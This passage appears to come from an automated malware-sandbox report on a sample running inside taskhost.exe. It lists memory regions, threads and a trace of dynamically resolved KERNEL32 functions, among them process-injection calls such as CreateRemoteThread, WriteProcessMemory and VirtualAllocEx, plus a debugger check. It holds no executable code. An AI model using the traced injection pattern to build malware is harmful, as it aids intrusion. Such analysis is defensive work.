"\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2235 start_va = 0xb0000 end_va = 0xb1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 2236 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2237 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2238 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2239 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2240 start_va = 0x100000 end_va = 0x101fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2241 start_va = 0x110000 end_va = 0x14bfff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2242 start_va = 0x190000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2243 start_va = 0x210000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2244 start_va = 0x340000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2245 start_va = 0x390000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 2246 start_va = 0x490000 end_va = 0x617fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2247 start_va = 0x620000 end_va = 0x7a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 2248 start_va = 0x7b0000 end_va = 0x1baffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 2249 start_va = 0x1bb0000 end_va = 0x1fa2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001bb0000" filename = "" Region: id = 2250 start_va = 0x1ff0000 end_va = 0x206ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 2251 start_va = 0x2080000 end_va = 0x20fffff entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 2252 start_va = 0x2110000 end_va = 0x218ffff entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 2253 start_va = 0x2190000 end_va = 0x226efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002190000" filename = "" Region: id = 2254 start_va = 0x2280000 end_va = 0x22fffff entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 2255 start_va = 0x2300000 end_va = 0x237ffff entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 2256 start_va = 0x2430000 end_va = 0x24effff entry_point = 0x2430000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2257 start_va = 0x26c0000 end_va = 0x273ffff entry_point = 0x0 region_type = private name = "private_0x00000000026c0000" filename = "" Region: id = 2258 start_va = 0x2740000 end_va = 0x27bffff entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 2259 start_va = 0x27d0000 end_va = 0x284ffff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 2260 start_va = 0x2880000 end_va = 0x28fffff entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 2261 start_va = 0x2920000 end_va = 0x292ffff entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 2262 start_va = 0x2930000 end_va = 0x29affff entry_point = 0x0 region_type = private name = "private_0x0000000002930000" filename = "" Region: id = 2263 start_va = 0x29c0000 end_va = 0x2a3ffff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 2264 start_va = 0x2a40000 end_va = 0x2d0efff entry_point = 0x2a40000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2265 start_va = 0x77320000 end_va = 0x7743efff entry_point = 0x77335ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2266 start_va = 0x77440000 end_va = 0x77539fff entry_point = 0x7745a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2267 start_va = 0x77540000 end_va = 0x776e8fff entry_point = 0x77540000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2268 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2269 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2270 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2271 start_va = 0xff200000 end_va = 0xff213fff entry_point = 0xff202ce0 region_type = mapped_file name = "taskhost.exe" filename = "\\Windows\\System32\\taskhost.exe" (normalized: "c:\\windows\\system32\\taskhost.exe") Region: id = 2272 start_va = 0x7fef6750000 end_va = 0x7fef678afff entry_point = 0x7fef67522f0 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 2273 start_va = 0x7fef6790000 end_va = 0x7fef679bfff entry_point = 0x7fef679602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2274 start_va = 0x7fef69c0000 end_va = 0x7fef69cdfff entry_point = 0x7fef69c5d28 region_type = mapped_file name = "dimsjob.dll" filename = "\\Windows\\System32\\dimsjob.dll" (normalized: "c:\\windows\\system32\\dimsjob.dll") Region: id = 2275 start_va = 0x7fef8030000 end_va = 0x7fef80a3fff entry_point = 0x7fef80366f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2276 start_va = 0x7fef8a50000 end_va = 0x7fef8a5afff entry_point = 0x7fef8a548d8 region_type = mapped_file name = "hotstartuseragent.dll" filename = "\\Windows\\System32\\HotStartUserAgent.dll" (normalized: "c:\\windows\\system32\\hotstartuseragent.dll") Region: id = 2277 start_va = 0x7fef8a60000 end_va = 0x7fef8a9cfff entry_point = 0x7fef8a61bdc region_type = mapped_file name = "msutb.dll" filename = "\\Windows\\System32\\msutb.dll" (normalized: "c:\\windows\\system32\\msutb.dll") Region: id = 2278 start_va = 0x7fef8aa0000 end_va = 0x7fef8aaafff entry_point = 0x7fef8aa1290 region_type = mapped_file name = "msctfmonitor.dll" filename = "\\Windows\\System32\\MsCtfMonitor.dll" (normalized: "c:\\windows\\system32\\msctfmonitor.dll") Region: id = 2279 start_va = 0x7fefa450000 end_va = 0x7fefa467fff entry_point = 0x7fefa451630 region_type = mapped_file name = "playsndsrv.dll" filename = "\\Windows\\System32\\PlaySndSrv.dll" (normalized: "c:\\windows\\system32\\playsndsrv.dll") Region: id = 2280 start_va = 0x7fefaec0000 end_va = 0x7fefaed7fff entry_point = 0x7fefaec1130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2281 start_va = 0x7fefb2a0000 end_va = 0x7fefb2f5fff entry_point = 0x7fefb2abbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2282 start_va = 0x7fefb8c0000 end_va = 0x7fefb8cafff entry_point = 0x7fefb8c4f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 2283 start_va = 0x7fefb8d0000 end_va = 0x7fefb8dbfff entry_point = 0x7fefb8d15d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 2284 start_va = 0x7fefb950000 end_va = 0x7fefb960fff entry_point = 0x7fefb951070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2285 start_va = 0x7fefb970000 end_va = 0x7fefb984fff entry_point = 0x7fefb9760d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2286 start_va = 0x7fefbaa0000 end_va = 0x7fefbbc6fff entry_point = 0x7fefbaa10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2287 start_va = 0x7fefca60000 end_va = 0x7fefcaa6fff entry_point = 0x7fefca61064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2288 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb32b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2289 start_va = 0x7fefd350000 end_va = 0x7fefd374fff entry_point = 0x7fefd359658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2290 start_va = 0x7fefd380000 end_va = 0x7fefd38efff entry_point = 0x7fefd381010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2291 start_va = 0x7fefd430000 end_va = 0x7fefd46cfff entry_point = 0x7fefd4318f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2292 start_va = 0x7fefd470000 end_va = 0x7fefd483fff entry_point = 0x7fefd4710e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2293 start_va = 0x7fefd680000 end_va = 0x7fefd6eafff entry_point = 0x7fefd6830e0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2294 start_va = 0x7fefd860000 end_va = 0x7fefd98cfff entry_point = 0x7fefd8aed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2295 start_va = 0x7fefd990000 end_va = 0x7fefda28fff entry_point = 0x7fefd991c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2296 start_va = 0x7fefda30000 end_va = 0x7fefda5dfff entry_point = 0x7fefda31010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2297 start_va = 0x7fefdb00000 end_va = 0x7fefdbdafff entry_point = 0x7fefdb20760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2298 start_va = 0x7fefdd60000 end_va = 0x7fefddc6fff entry_point = 0x7fefdd6b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2299 start_va = 0x7fefddd0000 end_va = 0x7fefded8fff entry_point = 0x7fefddd1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2300 start_va = 0x7fefdee0000 end_va = 0x7fefdfa8fff entry_point = 0x7fefdf5a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2301 start_va = 0x7fefed40000 end_va = 0x7fefeddefff entry_point = 0x7fefed425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2302 start_va = 0x7fefede0000 end_va = 0x7fefefe2fff entry_point = 0x7fefee03330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2303 start_va = 0x7feff2b0000 end_va = 0x7feff320fff entry_point = 0x7feff2c1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2304 start_va = 0x7feff330000 end_va = 0x7feff33dfff entry_point = 0x7feff331080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2305 start_va = 0x7feff5a0000 end_va = 0x7feff5a7fff entry_point = 0x7feff5a1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2306 start_va = 0x7feff5b0000 end_va = 0x7feff5cefff entry_point = 0x7feff5b60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2307 start_va = 0x7feff5d0000 end_va = 0x7feff6a6fff entry_point = 0x7feff5d3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2308 start_va = 0x7feff860000 end_va = 0x7feff860fff entry_point = 0x7feff860000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2309 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2310 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2311 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2312 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2313 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2314 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2315 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2316 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2317 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2318 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2319 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2320 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2324 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2649 start_va = 0x2610000 end_va = 0x268ffff entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 2650 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2651 start_va = 0x7fefdfb0000 end_va = 0x7fefed37fff entry_point = 0x7fefe02cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2652 start_va = 0x7feff7e0000 end_va = 0x7feff82cfff entry_point = 0x7feff7e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2653 start_va = 0x2380000 end_va = 0x241ffff entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 2654 start_va = 0x7feff6b0000 end_va = 0x7feff7d9fff entry_point = 0x7feff6b10d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2655 start_va = 0x7fefdbe0000 end_va = 0x7fefdd57fff entry_point = 0x7fefdbe10e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 2656 start_va = 0x7fefd6f0000 end_va = 0x7fefd856fff entry_point = 0x7fefd6f10c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2657 start_va = 0x7fefd530000 end_va = 0x7fefd53efff entry_point = 0x7fefd531020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2658 start_va = 0x7feff340000 end_va = 0x7feff598fff entry_point = 0x7feff341340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2798 start_va = 0x2e40000 end_va = 0x2ebffff entry_point = 0x0 region_type = private name = "private_0x0000000002e40000" filename = "" Region: id = 2799 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Thread: id = 117 os_tid = 0xb9c Thread: id = 118 os_tid = 0xb3c Thread: id = 119 os_tid = 0x430 Thread: id = 120 os_tid = 0x7dc Thread: id = 121 os_tid = 0x7ac Thread: id = 122 os_tid = 0x79c Thread: id = 123 os_tid = 0x798 Thread: id = 124 os_tid = 0x52c Thread: id = 125 os_tid = 0x51c Thread: id = 126 os_tid = 0x514 Thread: id = 127 os_tid = 0x554 [0104.315] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77320000 [0104.316] GetProcAddress (hModule=0x77320000, lpProcName="ReadFile") returned 0x77331500 [0104.316] GetProcAddress (hModule=0x77320000, lpProcName="FlushFileBuffers") returned 0x773269f0 [0104.316] GetProcAddress (hModule=0x77320000, lpProcName="WriteFile") returned 0x773435a0 [0104.316] GetProcAddress (hModule=0x77320000, lpProcName="GetTickCount") returned 0x77342b00 [0104.316] GetProcAddress (hModule=0x77320000, lpProcName="SetFileAttributesW") returned 0x773337a0 [0104.316] GetProcAddress (hModule=0x77320000, lpProcName="VirtualAlloc") returned 0x773367a0 [0104.316] GetProcAddress (hModule=0x77320000, lpProcName="GetFileSizeEx") returned 0x77329b30 [0104.316] GetProcAddress (hModule=0x77320000, lpProcName="VirtualFree") returned 0x77331260 [0104.316] GetProcAddress (hModule=0x77320000, lpProcName="SetFilePointerEx") returned 0x7732af00 [0104.316] GetProcAddress (hModule=0x77320000, lpProcName="GetFileAttributesW") returned 0x7733bdd0 [0104.316] GetProcAddress (hModule=0x77320000, lpProcName="GetVolumeNameForVolumeMountPointW") returned 0x773907d0 [0104.317] GetProcAddress (hModule=0x77320000, lpProcName="GetProcessHeap") returned 0x77343050 [0104.317] GetProcAddress (hModule=0x77320000, lpProcName="HeapFree") returned 0x77343070 [0104.317] GetProcAddress (hModule=0x77320000, lpProcName="HeapReAlloc") returned 0x77573f20 [0104.317] GetProcAddress (hModule=0x77320000, lpProcName="HeapAlloc") returned 0x775933a0 [0104.317] GetProcAddress (hModule=0x77320000, lpProcName="LoadLibraryA") returned 0x77337070 [0104.317] GetProcAddress (hModule=0x77320000, lpProcName="OutputDebugStringA") returned 0x77324f60 [0104.317] GetProcAddress (hModule=0x77320000, lpProcName="Thread32First") returned 0x7736aa70 [0104.317] GetProcAddress (hModule=0x77320000, lpProcName="Thread32Next") returned 0x7736a980 [0104.317] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentThread") returned 0x77333f20 [0104.317] GetProcAddress (hModule=0x77320000, lpProcName="CreateProcessW") returned 0x77341bb0 [0104.317] GetProcAddress (hModule=0x77320000, lpProcName="FreeLibrary") returned 0x77336620 [0104.317] GetProcAddress (hModule=0x77320000, lpProcName="MultiByteToWideChar") returned 0x77335b50 [0104.317] GetProcAddress (hModule=0x77320000, lpProcName="WideCharToMultiByte") returned 0x773435f0 [0104.318] GetProcAddress (hModule=0x77320000, lpProcName="CreateMutexW") returned 0x773313c0 [0104.318] GetProcAddress (hModule=0x77320000, lpProcName="ReleaseMutex") returned 0x77342b90 [0104.318] GetProcAddress (hModule=0x77320000, lpProcName="SetLastError") returned 0x77342df0 [0104.318] GetProcAddress (hModule=0x77320000, lpProcName="WaitForMultipleObjects") returned 0x77331170 [0104.318] GetProcAddress (hModule=0x77320000, lpProcName="GetLastError") returned 0x77342dd0 [0104.318] GetProcAddress (hModule=0x77320000, lpProcName="CreateThread") returned 0x77336580 [0104.318] GetProcAddress (hModule=0x77320000, lpProcName="GetComputerNameW") returned 0x7732d130 [0104.318] GetProcAddress (hModule=0x77320000, lpProcName="CreateEventW") returned 0x77335290 [0104.318] GetProcAddress (hModule=0x77320000, lpProcName="ExitThread") returned 0x77586930 [0104.318] GetProcAddress (hModule=0x77320000, lpProcName="ExitProcess") returned 0x775640f0 [0104.318] GetProcAddress (hModule=0x77320000, lpProcName="InitializeCriticalSection") returned 0x77568100 [0104.318] GetProcAddress (hModule=0x77320000, lpProcName="GetModuleFileNameW") returned 0x77337700 [0104.319] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentProcessId") returned 0x77335a50 [0104.319] GetProcAddress (hModule=0x77320000, lpProcName="AddVectoredExceptionHandler") returned 0x77623ad0 [0104.319] GetProcAddress (hModule=0x77320000, lpProcName="GetSystemDefaultLCID") returned 0x773233a0 [0104.319] GetProcAddress (hModule=0x77320000, lpProcName="GetWindowsDirectoryW") returned 0x773282b0 [0104.319] GetProcAddress (hModule=0x77320000, lpProcName="WaitForSingleObject") returned 0x77342b20 [0104.319] GetProcAddress (hModule=0x77320000, lpProcName="GetProcAddress") returned 0x77343690 [0104.319] GetProcAddress (hModule=0x77320000, lpProcName="GetModuleHandleW") returned 0x77343730 [0104.319] GetProcAddress (hModule=0x77320000, lpProcName="LoadLibraryW") returned 0x77336f80 [0104.319] GetProcAddress (hModule=0x77320000, lpProcName="VirtualProtect") returned 0x77322ef0 [0104.319] GetProcAddress (hModule=0x77320000, lpProcName="CreateRemoteThread") returned 0x7736c4f0 [0104.319] GetProcAddress (hModule=0x77320000, lpProcName="VirtualAllocEx") returned 0x7736bbd0 [0104.319] GetProcAddress (hModule=0x77320000, lpProcName="VirtualFreeEx") returned 0x7736bb90 [0104.320] GetProcAddress (hModule=0x77320000, lpProcName="DuplicateHandle") returned 0x77335d10 [0104.320] GetProcAddress (hModule=0x77320000, lpProcName="WriteProcessMemory") returned 0x7736bad0 [0104.320] GetProcAddress (hModule=0x77320000, lpProcName="OpenProcess") returned 0x7733cad0 [0104.320] GetProcAddress (hModule=0x77320000, lpProcName="Process32NextW") returned 0x773220f0 [0104.320] GetProcAddress (hModule=0x77320000, lpProcName="Process32FirstW") returned 0x77321e00 [0104.320] GetProcAddress (hModule=0x77320000, lpProcName="CreateToolhelp32Snapshot") returned 0x773221e0 [0104.320] GetProcAddress (hModule=0x77320000, lpProcName="CreateDirectoryW") returned 0x7732ad70 [0104.320] GetProcAddress (hModule=0x77320000, lpProcName="TerminateProcess") returned 0x7736bca0 [0104.320] GetProcAddress (hModule=0x77320000, lpProcName="SetEvent") returned 0x77333f00 [0104.320] GetProcAddress (hModule=0x77320000, lpProcName="DeleteFileW") returned 0x7732ad90 [0104.320] GetProcAddress (hModule=0x77320000, lpProcName="Sleep") returned 0x77342b70 [0104.320] GetProcAddress (hModule=0x77320000, lpProcName="CloseHandle") returned 0x77342f80 [0104.320] GetProcAddress (hModule=0x77320000, lpProcName="CreateFileW") returned 0x77331870 [0104.321] GetProcAddress (hModule=0x77320000, lpProcName="lstrcmpiA") returned 0x773240a0 [0104.321] GetProcAddress (hModule=0x77320000, lpProcName="lstrlenA") returned 0x7733caf0 [0104.321] GetProcAddress (hModule=0x77320000, lpProcName="WriteConsoleW") returned 0x77333d40 [0104.321] GetProcAddress (hModule=0x77320000, lpProcName="SetStdHandle") returned 0x7736bce0 [0104.321] GetProcAddress (hModule=0x77320000, lpProcName="GetConsoleMode") returned 0x77342e60 [0104.321] GetProcAddress (hModule=0x77320000, lpProcName="GetConsoleCP") returned 0x773605f0 [0104.321] GetProcAddress (hModule=0x77320000, lpProcName="LCMapStringW") returned 0x77340dd0 [0104.321] GetProcAddress (hModule=0x77320000, lpProcName="HeapSize") returned 0x775682d0 [0104.321] GetProcAddress (hModule=0x77320000, lpProcName="GetStringTypeW") returned 0x77339060 [0104.321] GetProcAddress (hModule=0x77320000, lpProcName="OutputDebugStringW") returned 0x7732b760 [0104.321] GetProcAddress (hModule=0x77320000, lpProcName="LoadLibraryExW") returned 0x77336640 [0104.321] GetProcAddress (hModule=0x77320000, lpProcName="GetCPInfo") returned 0x77336ce0 [0104.322] GetProcAddress (hModule=0x77320000, lpProcName="GetOEMCP") returned 0x7733b580 [0104.322] GetProcAddress (hModule=0x77320000, lpProcName="GetACP") returned 0x77336f90 [0104.322] GetProcAddress (hModule=0x77320000, lpProcName="IsValidCodePage") returned 0x77339080 [0104.322] GetProcAddress (hModule=0x77320000, lpProcName="LeaveCriticalSection") returned 0x77593000 [0104.322] GetProcAddress (hModule=0x77320000, lpProcName="EnterCriticalSection") returned 0x77592fc0 [0104.322] GetProcAddress (hModule=0x77320000, lpProcName="IsProcessorFeaturePresent") returned 0x7736cc80 [0104.322] GetProcAddress (hModule=0x77320000, lpProcName="IsDebuggerPresent") returned 0x77328290 [0104.322] GetProcAddress (hModule=0x77320000, lpProcName="RtlUnwindEx") returned 0x77352d90 [0104.322] GetProcAddress (hModule=0x77320000, lpProcName="TlsFree") returned 0x77331590 [0104.322] GetProcAddress (hModule=0x77320000, lpProcName="TlsSetValue") returned 0x77335cd0 [0104.322] GetProcAddress (hModule=0x77320000, lpProcName="TlsGetValue") returned 0x77342bd0 [0104.322] GetProcAddress (hModule=0x77320000, lpProcName="TlsAlloc") returned 0x77337100 [0104.322] GetProcAddress (hModule=0x77320000, lpProcName="SetUnhandledExceptionFilter") returned 0x77339b70 [0104.323] GetProcAddress (hModule=0x77320000, lpProcName="UnhandledExceptionFilter") returned 0x773b9330 [0104.323] GetProcAddress (hModule=0x77320000, lpProcName="RtlVirtualUnwind") returned 0x7736b5b0 [0104.323] GetProcAddress (hModule=0x77320000, lpProcName="RtlLookupFunctionEntry") returned 0x7736b610 [0104.323] GetProcAddress (hModule=0x77320000, lpProcName="RtlCaptureContext") returned 0x7736b6f0 [0104.323] GetProcAddress (hModule=0x77320000, lpProcName="FreeEnvironmentStringsW") returned 0x77336d20 [0104.323] GetProcAddress (hModule=0x77320000, lpProcName="GetEnvironmentStringsW") returned 0x77336d00 [0104.323] GetProcAddress (hModule=0x77320000, lpProcName="GetSystemTimeAsFileTime") returned 0x77333f40 [0104.323] GetProcAddress (hModule=0x77320000, lpProcName="QueryPerformanceCounter") returned 0x77336500 [0104.323] GetProcAddress (hModule=0x77320000, lpProcName="GetModuleFileNameA") returned 0x773364a0 [0104.323] GetProcAddress (hModule=0x77320000, lpProcName="GetStartupInfoW") returned 0x77338070 [0104.323] GetProcAddress (hModule=0x77320000, lpProcName="DeleteCriticalSection") returned 0x77565350 [0104.323] GetProcAddress (hModule=0x77320000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x773364e0 [0104.324] GetProcAddress (hModule=0x77320000, lpProcName="GetFileType") returned 0x77342e00 [0104.324] GetProcAddress (hModule=0x77320000, lpProcName="GetStdHandle") returned 0x7733d750 [0104.324] GetProcAddress (hModule=0x77320000, lpProcName="GetModuleHandleExW") returned 0x7732b780 [0104.324] GetProcAddress (hModule=0x77320000, lpProcName="RaiseException") returned 0x7732cf10 [0104.324] 